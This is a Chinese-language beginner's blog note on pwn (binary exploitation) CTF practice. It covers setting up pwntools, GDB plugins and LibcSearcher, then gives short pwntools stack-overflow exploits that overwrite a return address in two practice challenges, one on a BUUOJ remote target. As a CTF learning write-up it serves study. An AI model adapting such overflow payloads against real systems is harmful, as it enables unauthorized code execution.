pwn学习

一 安装Ubunt系统,配置环境

1、安装 pip

sudo apt-get install python3-pip

检测是否安装成功:pip3 -V

2、安装 vim

sudo apt install vim

检查是否安装成功:vim -v

3、pip 换源

vim ~/.pip/pip.conf

[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple

 

换源似乎是有问题

f3d5d6e7a3bf40869e2f15978d6cec20.png

出现问题:“.pip/pip.conf E212:无法打开并写入

出现该问题则说明没有~/.pip/pip.conf这个文件,
先按ESC键,输入:q 不保存文件,退出vi

再根据提示,按ESC键,输入:!强制执行

关闭终端,再“Ctrl+Alt+T”打开终端
使用命令先新建.pip 文件夹,再新建文件 pip.conf
$ cd ~
$ mkdir .pip
$ cd .pip
$ vi pip.conf

再把上面的代码输入,然后 Esc+:w保存并退出

4、安装 pwntools

pip install pwntools

检测是否安装成功

python3
from pwn import *

5、GDB插件

git clone https://github.com/yichen115/GDB-Plugins

在 pwndbg 文件夹(在GDB-Plugins文件夹下)中 git init 初始化一下

似乎是有问题

c2cec87b68e1465188f81666eac963c7.png

安装后就可以安gbd

修改文件格式为fileformat=unix,但发现就是这个格式,根据上面修改过后就安装上了

bash:./setup.sh:权限不够

Esc+:set ff

6、安装 LibcSearcher

git clone https://github.com/Ro0tk1t/LibcSearcher3.git

pip3 install -e LibcSearcher3

玄学,经常安装不上,得看运气

二pwn题

1

获得端口连接靶机,冒号要换成空格,再用ls

用cat 指令获取flag

edf83bf4f1584c2e9322e4b526a6f20f.png

2.rip

栈溢出

构建exp

from pwn import *  
p=remote("node4.buuoj.cn",29244) #靶机地址和端口
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)
p.interactive()

3.

a4c0de96bb1d47469d21cfa34406bb05.png

 from pwn import *
p=process("./ret2text")
p.recvuntil("do you know anything?\n")
payload=b"a"*112+p32(0x804863a)
p.sendline(payload)
p.interactive()

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值